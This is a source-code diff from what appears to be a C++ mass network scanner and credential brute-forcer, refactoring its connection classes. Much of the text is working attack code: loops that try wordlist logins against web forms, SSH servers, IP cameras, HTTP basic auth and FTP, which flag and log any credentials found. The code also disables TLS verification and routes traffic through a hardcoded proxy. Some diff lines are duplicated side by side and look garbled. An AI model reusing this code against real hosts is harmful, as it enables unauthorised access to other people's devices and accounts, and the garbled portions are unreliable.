&& strstri(CSTR.lowerBuff, "501 not implemented") == NULL
&& strstri(CSTR.lowerBuff, "http-equiv=\"refresh\"") == NULL
&& strstri(CSTR.lowerBuff, "http-equiv = \"refresh\"") == NULL
&& strstri(CSTR.lowerBuff, "busy") == NULL
&& strstri(CSTR.lowerBuff, "later") == NULL
&& strstri(CSTR.lowerBuff, "verification failed") == NULL
&& strstri(CSTR.lowerBuff, "403 Forbidden") == NULL
&& strstri(CSTR.lowerBuff, formVal) == NULL
)
{
if(i == 0)
{
ZeroMemory(request, sizeof(request));
isActive = 0;
strcpy(lps.login, "UNKNOWN");
return lps;
};
char pass[256] = {0};
ZeroMemory(pass, sizeof(pass));
strcpy(pass, ip);
strcat(pass, " - Web Form password found: ");
strcat(pass, wfLoginLst[i]);
strcat(pass, ":");
strcat(pass, wfPassLst[j]);
isActive = 0;
stt->doEmition_BAGreenData("[+] " + QString(pass));
strcpy(lps.login, wfLoginLst[i]);
strcpy(lps.pass, wfPassLst[j]);
return lps;
};
}
else
{
ZeroMemory(request, sizeof(request));
isActive = 0;
strcpy(lps.login, "UNKNOWN");
return lps;
};
if(i == 0) ++i;
ZeroMemory(request, sizeof(request));
};
firstCycle = 1;
};
}
else if(strstri(methodVal, "post") != NULL)
{
int passCounter = 1;
int firstCycle = 0;
for(int i = 0; i < MaxWFLogin; ++i)
{
if(globalScanFlag == false) break;
for(int j = firstCycle; j < MaxWFPass; ++j)
{
if(globalScanFlag == false) break;
CSTR.lowerBuff = NULL;
CSTR.size = 0;
strcpy(argData, userVal);
strcat(argData, "=");
strcat(argData, wfLoginLst[i]);
strcat(argData, "&");
strcat(argData, passVal);
strcat(argData, "=");
strcat(argData, wfPassLst[j]);
strcpy(request, "POST ");
strcat(request, actionVal);
strcat(request, " HTTP/1.1\r\n");
strcat(request, "Host: ");
strcat(request, ip);
strcat(request, ":");
char tbuff[16] = {0};
sprintf(tbuff, "%d", port);
strcat(request, tbuff);
if(cookieLen != 0)
{
strcat(request, "\r\nCookie: ");
strcat(request, cookie);
};
strcat(request, "\r\nContent-type: application/x-www-form-urlencoded\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: us-US,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: text, identity, *;q=0\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; us; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\r\nConnection: close\r\nContent-Length: ");
sprintf(b, "%d", strlen(argData));
strcat(request, b);
strcat(request, "\r\n\r\n");
strcat(request, argData);
if(BALogSwitched) stt->doEmitionBAData("Checked WF: " + QString(ip) + ":" + QString::number(port) + "; login/pass: "+ QString(wfLoginLst[i]) + ":" + QString(wfPassLst[j]) + "; - Progress: (" + QString::number((passCounter/(double)(MaxWFPass*MaxWFLogin)) * 100).mid(0, 4) + "%)");
++passCounter;
if(port == 443) con._EstablishSSLConnection(ip, port, request, &CSTR);
else con._EstablishConnection(ip, port, request, &CSTR);
if(CSTR.lowerBuff != NULL)
{
if(strstri(CSTR.lowerBuff, "501 not implemented") != NULL)
{
stt->doEmitionRedFoundData("<a href=\"http://" + QString(ip) + ":" + QString::number(port) + "\"><font color=\"#c3c3c3\">" + QString(ip) + ":" + QString::number(port) + "</font></a> - [WF]: 501 Not Implemented.");
isActive = 0;
strcpy(lps.login, "UNKNOWN");
return lps;
};
if(strstri(CSTR.lowerBuff, "404 not found") != NULL)
{
stt->doEmitionRedFoundData("<a href=\"http://" + QString(ip) + ":" + QString::number(port) + "\"><font color=\"#c3c3c3\">" + QString(ip) + ":" + QString::number(port) + "</font></a> - [WF]: 404 Not Found.");
isActive = 0;
strcpy(lps.login, "UNKNOWN");
return lps;
};
if(strstri(CSTR.lowerBuff, "Access is Denied") == NULL
&& strstri(CSTR.lowerBuff, "Location:") == NULL
&& strstri(CSTR.lowerBuff, "Access forbidden") == NULL
&& strstri(CSTR.lowerBuff, "Authentication required") == NULL
&& strstri(CSTR.lowerBuff, "invalid") == NULL
&& strstri(CSTR.lowerBuff, "error") == NULL
&& strstri(CSTR.lowerBuff, "loginerr") == NULL
&& strstri(CSTR.lowerBuff, "passerr") == NULL
&& strstri(CSTR.lowerBuff, "passworderr") == NULL
&& strstri(CSTR.lowerBuff, "location.href") == NULL
&& strstri(CSTR.lowerBuff, "location.replace") == NULL
&& strstri(CSTR.lowerBuff, "top.location") == NULL
&& strstri(CSTR.lowerBuff, "error_status") == NULL
&& strstri(CSTR.lowerBuff, "http-equiv=\"refresh\"") == NULL
&& strstri(CSTR.lowerBuff, "http-equiv = \"refresh\"") == NULL
&& strstri(CSTR.lowerBuff, "busy") == NULL
&& strstri(CSTR.lowerBuff, "later") == NULL
&& strstri(CSTR.lowerBuff, "verification failed") == NULL
&& strstri(CSTR.lowerBuff, "403 Forbidden") == NULL
&& strstri(CSTR.lowerBuff, formVal) == NULL
)
{
if(i == 0)
{
ZeroMemory(request, sizeof(request));
ZeroMemory(argData, sizeof(argData));
isActive = 0;
strcpy(lps.login, "UNKNOWN");
return lps;
};
char pass[256] = {0};
ZeroMemory(pass, sizeof(pass));
strcpy(pass, ip);
strcat(pass, " - Web Form password found: ");
strcat(pass, wfLoginLst[i]);
strcat(pass, ":");
strcat(pass, wfPassLst[j]);
isActive = 0;
stt->doEmition_BAGreenData("[+] " + QString(pass));
strcpy(lps.login, wfLoginLst[i]);
strcpy(lps.pass, wfPassLst[j]);
return lps;
};
}
else
{
ZeroMemory(request, sizeof(request));
ZeroMemory(argData, sizeof(argData));
isActive = 0;
strcpy(lps.login, "UNKNOWN");
return lps;
};
if(i == 0) ++i;
ZeroMemory(request, sizeof(request));
ZeroMemory(argData, sizeof(argData));
};
firstCycle = 1;
};
}
else
{
stt->doEmitionFoundData("<a href=\"http://" + QString(ip) + ":" + QString::number(port) + "\"><font color=\"#c3c3c3\">" + QString(ip) + ":" + QString::number(port) + "</font></a> - [WF]: Unknown method.");
};
ZeroMemory(request, sizeof(request));
ZeroMemory(argData, sizeof(argData));
isActive = 0;
strcpy(lps.login, "UNKNOWN");
return lps;
}
lopaStr Connector::_WFLobby(char *cookie, char *ip, int port, char *methodVal, char *actionVal, char *userVal, char *passVal, char *formVal)
{
while(BrutingThrds >= gMaxBrutingThreads) Sleep(700);
++WF;
BConInc();
lopaStr res = _WFBrut(cookie, ip, port, methodVal, actionVal, userVal, passVal, formVal);
BConDec();
return res;
}
#pragma region SSH
int _sshConnect(char *user, char *pass, char *host, int port)
{
char hostStr[128] = {0};
ZeroMemory(hostStr, sizeof(hostStr));
strcpy(hostStr, user);
strcat(hostStr, "@");
strcat(hostStr, host);
ssh_session my_ssh_session = ssh_new();
if (my_ssh_session == NULL)
{
ssh_free(my_ssh_session);
return -1;
};
ssh_options_set(my_ssh_session, SSH_OPTIONS_HOST, hostStr);
ssh_options_set(my_ssh_session, SSH_OPTIONS_PORT, &port);
//ssh_options_set(my_ssh_session, SSH_OPTIONS_LOG_VERBOSITY, &verbosity);
//ssh_options_set(my_ssh_session, SSH_OPTIONS_LOG_VERBOSITY_STR, &verbosity);
//ssh_options_set(my_ssh_session, SSH_OPTIONS_STRICTHOSTKEYCHECK, 0);
int sshTimeout = gTimeOut + 1;
ssh_options_set(my_ssh_session, SSH_OPTIONS_TIMEOUT, &sshTimeout);
int rc = ssh_connect(my_ssh_session);
if (rc != SSH_OK)
{
ssh_disconnect(my_ssh_session);
ssh_free(my_ssh_session);
++offlines;
return -2;
}
else
{
rc = ssh_userauth_password(my_ssh_session, NULL, pass);
if (rc != SSH_AUTH_SUCCESS)
{
ssh_disconnect(my_ssh_session);
ssh_free(my_ssh_session);
return -1;
};
};
ssh_disconnect(my_ssh_session);
ssh_free(my_ssh_session);
++ssh;
return 0;
}
char *_get_ssh_banner(char *ip, int port)
{
Connector con;
conSTR CSTR;
char recvBuff[256] = {0};
con._EstablishConnection(ip, port, "", &CSTR);
if(CSTR.lowerBuff != NULL && CSTR.size != 0)
{
strncpy(recvBuff, CSTR.lowerBuff, CSTR.size < 256 ? CSTR.size : 256);
};
if(CSTR.lowerBuff != NULL)
{
delete []CSTR.lowerBuff;
CSTR.lowerBuff = NULL;
};
return recvBuff;
}
int check_ssh_pass(char *user, char *pass, char *userPass, char *host, int port, std::string *buffer, char *banner)
{
int res = -1;
if(BALogSwitched) stt->doEmitionBAData("Probing SSH: " + QString(user) + ":" + QString(pass) + "@" + QString(host) + ":" + QString::number(port));
res = _sshConnect(user, pass, host, port);
if(res == 0)
{
stt->doEmition_BAGreenData("[+] SSH: " + QString(user) + ":" + QString(pass) + "@" + QString(host));
buffer->append(userPass);
buffer->append("@");
buffer->append(host);
buffer->append("|+|");
buffer->append(banner);
return 0;
};
return res;
}
int _EstablishSSHConnection(char *host, int port, std::string *buffer, char *banner)
{
char login[32] = {0};
char pass[32] = {0};
char temp[64] = {0};
isActive = 1;
BConInc();
int sz = 0;
char *ptr1 = 0;
int res = -1;
for(int i = 0; i < MaxSSHPass; ++i)
{
if(globalScanFlag == false) break;
strcpy(temp, sshlpLst[i]);
ptr1 = strstr(temp, ":");
sz = ptr1 - temp;
strncpy(login, temp, sz);
strcpy(pass, ptr1 + 1);
res = check_ssh_pass(login, pass, temp, host, port, buffer, banner);
ZeroMemory(login, sizeof(login));
ZeroMemory(pass, sizeof(pass));
ZeroMemory(temp, sizeof(temp));
if(res == 0)
{
if(i == 0) return -2; //Failhit
BConDec();
isActive = 0;
return 0;
}
else if(res == -2)
{
BConDec();
isActive = 0;
return -2;
};
Sleep(500);
};
BConDec();
isActive = 0;
return -1;
}
int _webLoginSeq(char *request, char *login, char *pass, char *ip, int port, int passCounter, char *type, std::vector<char*> negVector) int _webLoginSeq(char *request, char *login, char *pass, char *ip, int port, int passCounter, char *type, std::vector<char*> negVector)
{ {
char recvBuff[256] = {0}; char recvBuff[256] = {0};
@ -2563,7 +1740,7 @@ lopaStr _IPCameraBrute(char *ip, int port, char *SPEC)
return lps; return lps;
} }
lopaStr Connector::_IPCameraBLobby(char *ip, int port, char *SPEC) lopaStr _IPCameraBLobby(char *ip, int port, char *SPEC)
{ {
while(BrutingThrds >= gMaxBrutingThreads) Sleep(1000); while(BrutingThrds >= gMaxBrutingThreads) Sleep(1000);
@ -2661,88 +1838,44 @@ int _pingMyTarget(char *ip)
} }
#endif #endif
QString strIP;
QString strPort;
int Connector::_SSHLobby(char *ip, int port, std::string *buffer)
{
char banner[256] = {0};
strncpy(banner, _get_ssh_banner(ip, port), 256);
if(strlen(banner) > 0)
{
return _EstablishSSHConnection(ip, port, buffer, banner);
};
return -1;
}
static size_t nWriteCallback(void *contents, size_t size, size_t nmemb, void *userp)
{
((std::string*)userp)->append((char*)contents, size * nmemb);
return size * nmemb;
}
int nConnect(char *ip, int port, std::string *buffer){
CURL *curl = curl_easy_init();
if (curl)
{
curl_easy_setopt(curl, CURLOPT_URL, ip);
curl_easy_setopt(curl, CURLOPT_PORT, port);
curl_easy_setopt(curl, CURLOPT_USERAGENT, "Mozilla/5.0 (X11; Linux x86_64; rv:35.0) Gecko/20100101 Firefox/35.0");
curl_easy_setopt(curl, CURLOPT_HEADER, 1L);
curl_easy_setopt(curl, CURLOPT_AUTOREFERER, 1L);
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L);
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L);
curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, nWriteCallback);
curl_easy_setopt(curl, CURLOPT_WRITEDATA, buffer);
curl_easy_setopt(curl, CURLOPT_PROXY, "cache.fors.ru");
curl_easy_setopt(curl, CURLOPT_PROXYPORT, 3128);
curl_easy_setopt(curl, CURLOPT_FOLLOWLOCATION, 1L);
curl_easy_setopt(curl, CURLOPT_CONNECTTIMEOUT, gTimeOut);
curl_easy_setopt(curl, CURLOPT_TIMEOUT, gTimeOut);
curl_easy_perform(curl); //int Connector::_ConnectToPort(char *ip, int port, char *hl)
curl_easy_cleanup(curl); //{
} else { // if(gPingNScan)
stt->doEmitionRedFoundData("Curl error."); // {
return -1; // if(_pingMyTarget(ip) == 0)
}; // {
return buffer->size(); // return -2;
} // };
// };
int Connector::_ConnectToPort(char *ip, int port, char *hl) // std::string buffer;
{ // int size = 0;
if(gPingNScan)
{
if(_pingMyTarget(ip) == 0)
{
return -2;
};
};
std::string buffer = ""; // if(port == 22) size = _SSHLobby(ip, port, &buffer);
int size = 0; // else size = Connector::nConnect(ip, port, &buffer);
if(port == 22) size = _SSHLobby(ip, port, &buffer); // if(size > 0)
else size = nConnect(ip, port, &buffer); // {
// ++Alive;
// ++found;
// stt->doEmitionChangeParsed(QString::number(saved) + "/" + QString::number(found));
if(size > 0) // conSTR CSTR;
{ // CSTR.lowerBuff = new char[size + 1];
++Alive; // CSTR.size = size;
++found; // memcpy(CSTR.lowerBuff, buffer.c_str(), size);
stt->doEmitionChangeParsed(QString::number(saved) + "/" + QString::number(found)); // memset(CSTR.lowerBuff + size, '\0', 1);
conSTR CSTR; // Lexems lx;
CSTR.lowerBuff = new char[size + 1]; // lx._filler(port, (char *)buffer.c_str(), ip, size, &lx, hl);
CSTR.size = size;
memcpy(CSTR.lowerBuff, buffer.c_str(), size);
memset(CSTR.lowerBuff + size, '\0', 1);
Lexems lx; // delete []CSTR.lowerBuff;
lx._filler(port, (char *)buffer.c_str(), ip, size, &lx, hl); // CSTR.lowerBuff = NULL;
// };
delete []CSTR.lowerBuff; // return 0;
CSTR.lowerBuff = NULL; //}
};
return 0;
}

View File

@ -1,3 +1,7 @@
#ifndef EXTERNDATA_H
#define EXTERNDATA_H
#include <qjsonarray.h>
#define RECV_MAX_SIZE 350000 #define RECV_MAX_SIZE 350000
#define REQUEST_MAX_SIZE 4096 #define REQUEST_MAX_SIZE 4096
#define PORTSET "80,81,88,8080,8081,60001,60002,8008,8888,554,9000,441,4111,6667,3536,22,21" #define PORTSET "80,81,88,8080,8081,60001,60002,8008,8888,554,9000,441,4111,6667,3536,22,21"
@ -25,7 +29,9 @@ extern int found, indexIP, gMode,
GlobalNegativeSize, isActive, gMaxBrutingThreads, GlobalNegativeSize, isActive, gMaxBrutingThreads,
gTimeOut, PieAnomC1, PieSusp, PieBA, PieLowl, PieWF, PieSSH, gTimeOut, PieAnomC1, PieSusp, PieBA, PieLowl, PieWF, PieSSH,
gThreadDelay, AnomC1, Filt, Overl, Lowl, Alive, saved, gThreadDelay, AnomC1, Filt, Overl, Lowl, Alive, saved,
Susp, WF, offlines, ssh, globalPinger, gPingTimeout, nickFlag, offlineFlag; Susp,
WF,
offlines, ssh, globalPinger, gPingTimeout, nickFlag, offlineFlag;
extern char trcSrv[256], trcScr[256], trcProxy[128], trcPersKey[32], extern char trcSrv[256], trcScr[256], trcProxy[128], trcPersKey[32],
ircServer[32], ircPort[32], ircProxy[64], ircProxyPort[8], ircNick[32], ircServer[32], ircPort[32], ircProxy[64], ircProxyPort[8], ircNick[32],
trcPort[32], trcSrvPortLine[32], saveStartIP[128], saveEndIP[128], trcPort[32], trcSrvPortLine[32], saveStartIP[128], saveEndIP[128],
@ -36,3 +42,5 @@ struct pl{
int loginCounter; int loginCounter;
int passCounter; int passCounter;
}; };
#endif // EXTERNDATA

View File

@ -15,4 +15,4 @@ extern void nCleanup();
extern void getSubStr(char *src, char *startStr, char *endStr, char *dest, int szDest); extern void getSubStr(char *src, char *startStr, char *endStr, char *dest, int szDest);
extern void getSubStrEx(char *src, char *startStr, char *endStr, char *dest, int szDest); extern void getSubStrEx(char *src, char *startStr, char *endStr, char *dest, int szDest);
extern std::string xcode(LPCSTR src, UINT srcCodePage, UINT dstCodePage); extern std::string xcode(LPCSTR src, UINT srcCodePage, UINT dstCodePage);
extern int nConnect(char *ip, int port, std::string *buffer); //extern int nConnect(char *ip, int port, std::string *buffer);

View File

@ -3,6 +3,8 @@
#include "mainResources.h" #include "mainResources.h"
#include "externFunctions.h" #include "externFunctions.h"
#include "externData.h" #include "externData.h"
#include "WebformWorker.h"
#include "Connector.h"
char* strstri(const char *_Str, const char *_SubStr) char* strstri(const char *_Str, const char *_SubStr)
{ {
@ -1280,8 +1282,8 @@ void _specWFBrute(char *ip, int port, char *hl, char *buff, int flag, char *path
{ {
if(strlen(userVal) != 0 && strlen(passVal) != 0) if(strlen(userVal) != 0 && strlen(passVal) != 0)
{ {
Connector con; WFClass WFC;
lopaStr lps = con._WFLobby(cookie, ip, port, methodVal, actionVal, userVal, passVal, formVal); lopaStr lps = WFC._WFBrute(ip, port, methodVal, actionVal, userVal, passVal, formVal);
if(strstr(lps.login, "UNKNOWN") == NULL && strlen(lps.other) == 0) if(strstr(lps.login, "UNKNOWN") == NULL && strlen(lps.other) == 0)
{ {
@ -1309,8 +1311,8 @@ void _specWEBIPCAMBrute(char *ip, int port, char *hl, char *finalstr, int flag,
ZeroMemory(lps.other, sizeof(lps.other)); ZeroMemory(lps.other, sizeof(lps.other));
char tport[32] = {0}; char tport[32] = {0};
sprintf(tport, ":%d", port); sprintf(tport, ":%d", port);
Connector con;
lps = con._IPCameraBLobby(ip, port, SPEC); lps = _IPCameraBLobby(ip, port, SPEC);
if(strstr(lps.login, "UNKNOWN") == NULL && strlen(lps.other) == 0) if(strstr(lps.login, "UNKNOWN") == NULL && strlen(lps.other) == 0)
{ {
@ -1330,10 +1332,9 @@ void _specBrute(char *cookie, char *ip, int port, char *hl, char *finalstr, int
char temp[64] = {0}; char temp[64] = {0};
char tport[32] = {0}; char tport[32] = {0};
sprintf(tport, ":%d", port); sprintf(tport, ":%d", port);
Connector con;
if(strcmp(comment, "[DIGEST]") == 0) lps = con._BALobby(cookie, ip, port, path, "[DIGEST]", data); if(strcmp(comment, "[DIGEST]") == 0) lps = _BALobby(cookie, ip, port, path, "[DIGEST]", data);
else lps = con._BALobby(cookie, ip, port, path, "[NORMAL]", ""); else lps = _BALobby(cookie, ip, port, path, "[NORMAL]", "");
if(strstr(lps.login, "UNKNOWN") == NULL && strlen(lps.other) == 0) if(strstr(lps.login, "UNKNOWN") == NULL && strlen(lps.other) == 0)
{ {
@ -1526,9 +1527,8 @@ int Lexems::_filler(int p, char* buffcpy, char* ip, int recd, Lexems *lx, char *
if( strstr(buffcpy, "[IGNR_ADDR]") != NULL ) return -1; if( strstr(buffcpy, "[IGNR_ADDR]") != NULL ) return -1;
if( strstr(buffcpy, "SSH-2.0-OpenSSH") != NULL || strstr(buffcpy, "SSH-2.0-mod_sftp") != NULL) if( strstr(buffcpy, "SSH-2.0-OpenSSH") != NULL || strstr(buffcpy, "SSH-2.0-mod_sftp") != NULL)
{ {
Connector con;
std::string sshBuff; std::string sshBuff;
int res = con._SSHLobby(ip, p, &sshBuff); int res = Connector::_SSHLobby(ip, p, &sshBuff);
if(res != -1 && res != -2) if(res != -1 && res != -2)
{ {
_saveSSH(ip, p, recd, (char*)sshBuff.c_str()); _saveSSH(ip, p, recd, (char*)sshBuff.c_str());
@ -1599,7 +1599,6 @@ int Lexems::_filler(int p, char* buffcpy, char* ip, int recd, Lexems *lx, char *
if(flag == 16) if(flag == 16)
{ {
Connector con;
isActive = 1; isActive = 1;
char log[2048] = {0}; char log[2048] = {0};
@ -1614,7 +1613,7 @@ int Lexems::_filler(int p, char* buffcpy, char* ip, int recd, Lexems *lx, char *
// strcat(log, "; Received: "); // strcat(log, "; Received: ");
// strncat(log, std::to_string(recd).c_str(), 100); // strncat(log, std::to_string(recd).c_str(), 100);
lps = con._FTPLobby(ip, p, &ps); lps = _FTPLobby(ip, p, &ps);
if(strstr(lps.other, "ROUTER") != NULL) if(strstr(lps.other, "ROUTER") != NULL)
{ {
@ -1880,11 +1879,10 @@ int Lexems::_filler(int p, char* buffcpy, char* ip, int recd, Lexems *lx, char *
{ {
char temp[64] = {0}; char temp[64] = {0};
char log[512] = {0}; char log[512] = {0};
Connector con;
isActive = 1; isActive = 1;
++AnomC1; ++AnomC1;
lps = con._BALobby(ps.cookie, ip, p, "/~login", "[NORMAL]", ""); lps = _BALobby(ps.cookie, ip, p, "/~login", "[NORMAL]", "");
sprintf(log, "[HFS]:<font color=\"#ff6600\">%s :: </font><a href=\"http://%s:%s/\"><span style=\"color: #a1a1a1;\">%s:%s</span></a><font color=\"#0084ff\"> T: </font><font color=\"#ff9600\">%s Pass: %s:%s</font>", sprintf(log, "[HFS]:<font color=\"#ff6600\">%s :: </font><a href=\"http://%s:%s/\"><span style=\"color: #a1a1a1;\">%s:%s</span></a><font color=\"#0084ff\"> T: </font><font color=\"#ff9600\">%s Pass: %s:%s</font>",
hl, ip, port, ip, port, finalstr, lps.login, lps.pass); hl, ip, port, ip, port, finalstr, lps.login, lps.pass);
@ -1948,7 +1946,6 @@ int redirectReconnect(char *cookie, char *ip, int port, char *str, Lexems *ls, P
return 0; return 0;
}; };
Connector con;
char tempIP[MAX_ADDR_LEN] = {0}; char tempIP[MAX_ADDR_LEN] = {0};
strcpy(tempIP, ip); strcpy(tempIP, ip);
int tempPort = port; int tempPort = port;
@ -2023,13 +2020,12 @@ int redirectReconnect(char *cookie, char *ip, int port, char *str, Lexems *ls, P
}; };
strcat(mes, rbuff4); strcat(mes, rbuff4);
conSTR cstr; std::string buffer;
cstr.size = 0; int cSz = Connector::nConnect(tempIP, tempPort, buffer);
cstr.lowerBuff = NULL; if(cSz > -1)
if(con._EstablishSSLConnection(tempIP, tempPort, mes, &cstr) > -1)
{ {
strncpy(buff, cstr.lowerBuff, (cstr.size < 65535 ? cstr.size : 65535)); strncpy(buff, buffer.c_str(), (cSz < 65535 ? cSz : 65535));
strcpy(ps->codepage, GetCodePage(cstr.lowerBuff)); strcpy(ps->codepage, GetCodePage(buff));
ls->flag = ContentFilter(cstr.lowerBuff, tempPort, tempIP, ps->codepage); ls->flag = ContentFilter(cstr.lowerBuff, tempPort, tempIP, ps->codepage);
ps->flag = ls->flag; ps->flag = ls->flag;
@ -2039,21 +2035,18 @@ int redirectReconnect(char *cookie, char *ip, int port, char *str, Lexems *ls, P
ps->flag = -1; ps->flag = -1;
strcpy(ps->headr, "[IGNR_ADDR]"); strcpy(ps->headr, "[IGNR_ADDR]");
strcpy(ps->path, tempPath); strcpy(ps->path, tempPath);
delete []cstr.lowerBuff;
return -1; return -1;
}; };
if(ls->flag >= 17 || ls->flag == 11 || ls->flag == 12 if(ls->flag >= 17 || ls->flag == 11 || ls->flag == 12
|| ls->flag == 13 || ls->flag == 14 || ls->flag == 1 || ls->flag == 10) || ls->flag == 13 || ls->flag == 14 || ls->flag == 1 || ls->flag == 10)
{ {
strcat(ps->headr, GetTitle(cstr.lowerBuff)); strcat(ps->headr, GetTitle(buff));
ps->flag = ls->flag; ps->flag = ls->flag;
strcpy(ps->path, tempPath); strcpy(ps->path, tempPath);
ps->port = tempPort; ps->port = tempPort;
strcpy(ps->ip, tempIP); strcpy(ps->ip, tempIP);
delete []cstr.lowerBuff;
return -2; return -2;
}; };
if(ls->flag == 6) if(ls->flag == 6)
@ -2062,20 +2055,20 @@ int redirectReconnect(char *cookie, char *ip, int port, char *str, Lexems *ls, P
ps->port = tempPort; ps->port = tempPort;
return -2; return -2;
}; };
strcat(ps->headr, " -> "); strcat(ps->headr, " -> ");
strcat(ps->headr, GetTitle(cstr.lowerBuff)); strcat(ps->headr, GetTitle(buff));
if (ls->_header(tempIP, tempPort, cstr.lowerBuff, ls, ps, redirStrLst, buff) == -1) if (ls->_header(tempIP, tempPort, cstr.lowerBuff, ls, ps, redirStrLst, buff) == -1)
{ {
ps->flag = -1; ps->flag = -1;
strcpy(ps->headr, "[IGNR_ADDR]"); strcpy(ps->headr, "[IGNR_ADDR]");
strcpy(ps->path, tempPath); strcpy(ps->path, tempPath);
delete[]cstr.lowerBuff;
return -1; return -1;
}; };
ps->port = tempPort; ps->port = tempPort;
if(strlen(cstr.lowerBuff) < 1) if(strlen(buff) < 1)
{ {
ps->flag = 3; ps->flag = 3;
ls->flag = 3; ls->flag = 3;
@ -2085,8 +2078,6 @@ int redirectReconnect(char *cookie, char *ip, int port, char *str, Lexems *ls, P
ls->flag = 0; ls->flag = 0;
ps->flag = 0; ps->flag = 0;
}; };
delete []cstr.lowerBuff;
} }
else else
{ {
@ -2165,12 +2156,11 @@ int redirectReconnect(char *cookie, char *ip, int port, char *str, Lexems *ls, P
}; };
strcat(mes, rbuff4); strcat(mes, rbuff4);
conSTR cstr; std::string buffer;
cstr.size = 0; int cSz = Connector::nConnect(tempIP, tempPort, buffer);
cstr.lowerBuff = NULL; if(cSz > -1)
if(con._EstablishConnection(tempIP, tempPort, mes, &cstr) > -1)
{ {
strncpy(buff, cstr.lowerBuff, (cstr.size < 65535 ? cstr.size : 65535)); strncpy(buff, cstr.lowerBuff, (cSz< 65535 ? cSz : 65535));
strcpy(ps->codepage, GetCodePage(cstr.lowerBuff)); strcpy(ps->codepage, GetCodePage(cstr.lowerBuff));
ls->flag = ContentFilter(cstr.lowerBuff, tempPort, tempIP, ps->codepage); ls->flag = ContentFilter(cstr.lowerBuff, tempPort, tempIP, ps->codepage);
@ -2181,7 +2171,6 @@ int redirectReconnect(char *cookie, char *ip, int port, char *str, Lexems *ls, P
ps->flag = -1; ps->flag = -1;
strcpy(ps->headr, "[IGNR_ADDR]"); strcpy(ps->headr, "[IGNR_ADDR]");
strcpy(ps->path, tempPath); strcpy(ps->path, tempPath);
delete []cstr.lowerBuff;
return -1; return -1;
}; };
@ -2191,7 +2180,6 @@ int redirectReconnect(char *cookie, char *ip, int port, char *str, Lexems *ls, P
strcat(ps->headr, GetTitle(cstr.lowerBuff)); strcat(ps->headr, GetTitle(cstr.lowerBuff));
ps->flag = ls->flag; ps->flag = ls->flag;
strcpy(ps->path, tempPath); strcpy(ps->path, tempPath);
delete []cstr.lowerBuff;
ps->port = tempPort; ps->port = tempPort;
strcpy(ps->ip, tempIP); strcpy(ps->ip, tempIP);
@ -2210,13 +2198,12 @@ int redirectReconnect(char *cookie, char *ip, int port, char *str, Lexems *ls, P
ps->flag = -1; ps->flag = -1;
strcpy(ps->headr, "[IGNR_ADDR]"); strcpy(ps->headr, "[IGNR_ADDR]");
strcpy(ps->path, tempPath); strcpy(ps->path, tempPath);
delete[]cstr.lowerBuff;
return -1; return -1;
}; };
ps->port = tempPort; ps->port = tempPort;
if(strlen(cstr.lowerBuff) < 1) if(strlen(buff) < 1)
{ {
ps->flag = 3; ps->flag = 3;
ls->flag = 3; ls->flag = 3;
@ -2226,8 +2213,6 @@ int redirectReconnect(char *cookie, char *ip, int port, char *str, Lexems *ls, P
ls->flag = 0; ls->flag = 0;
ps->flag = 0; ps->flag = 0;
}; };
delete []cstr.lowerBuff;
} }
else else
{ {

View File

@ -13,6 +13,7 @@
#else #else
#include <string> #include <string>
#include <iostream> #include <iostream>
#include <vector>
#include <stdio.h> #include <stdio.h>
#include <stdlib.h> #include <stdlib.h>
#include <unistd.h> #include <unistd.h>
@ -126,13 +127,19 @@ class Lexems
iterationCount = 0; iterationCount = 0;
} }
int _header(char *ip, int port, char str[], Lexems *l, PathStr *ps, std::vector<std::string> *lst, char *rBuff); int _header(char *ip,
int port,
char str[],
Lexems *l,
PathStr *ps,
std::vector<std::string> *lst,
char *rBuff);
int _filler(int p, char *buffcpy, char* ipi, int recd, Lexems *lx, char *hl); int _filler(int p, char *buffcpy, char* ipi, int recd, Lexems *lx, char *hl);
int globalSearchNeg(const char *buffcpy, char *ip, int port); int globalSearchNeg(const char *buffcpy, char *ip, int port);
}; };
class Connector class Connector_old
{ {
public: public:
int _Updater(); int _Updater();
@ -143,9 +150,13 @@ class Connector
lopaStr _IPCameraBLobby(char *ip, int port, char *SPEC); lopaStr _IPCameraBLobby(char *ip, int port, char *SPEC);
int _SSHLobby(char *ip, int port, std::string *buffer); int _SSHLobby(char *ip, int port, std::string *buffer);
int _EstablishConnection(char *ip, int port, char *request, conSTR *cstr, int force = 0); //int _EstablishConnection(char *ip, int port, char *request, conSTR *cstr, int force = 0);
int _EstablishSSLConnection(char *ip, int port, char *request, conSTR *cstr); //int _EstablishSSLConnection(char *ip, int port, char *request, conSTR *cstr);
void _Connect(void *s); void _Connect(void *s);
int _ConnectToPort(char *ip, int port, char *hl); int _ConnectToPort(char *ip, int port, char *hl);
}; };
extern lopaStr _IPCameraBLobby(char *ip, int port, char *SPEC);
extern lopaStr _BALobby(char *cookie, char *ip, int port, char *path, char *method, char *data = NULL);
extern lopaStr _FTPLobby(char *ip, int port, PathStr *ps);

View File

@ -1,6 +1,8 @@
#include "msgcheckerthread.h" #include "msgcheckerthread.h"
#include "externData.h" #include "externData.h"
#include "mainResources.h" #include "mainResources.h"
#include <Utils.h>
#include <Connector.h>
void MSGCheckerThread::doEmitionShowNewMsg(QString str) void MSGCheckerThread::doEmitionShowNewMsg(QString str)
{ {
@ -9,31 +11,31 @@ void MSGCheckerThread::doEmitionShowNewMsg(QString str)
void _getNewMsg() void _getNewMsg()
{ {
Connector con;
conSTR CSTR;
CSTR.lowerBuff = NULL;
CSTR.size = 0;
char request[256] = {0}; char request[256] = {0};
strcpy(request, "GET /mailbox?key="); sprintf(request, "http://nesca.d3w.org/mailbox?key=%s", trcPersKey);
strncat(request, trcPersKey, 32);
strcat(request, " HTTP/1.1\r\nHost: nesca.d3w.org\r\nX-Nescav3: True\r\n\r\n"); std::string buffer;
con._EstablishConnection("nesca.d3w.org", 80, request, &CSTR, 1); std::vector<std::string> headerVector {"X-Nescav3: True"};
Connector::nConnect(request, 80, &buffer, NULL, &headerVector);
char *ptr1 = NULL; char *ptr1 = NULL;
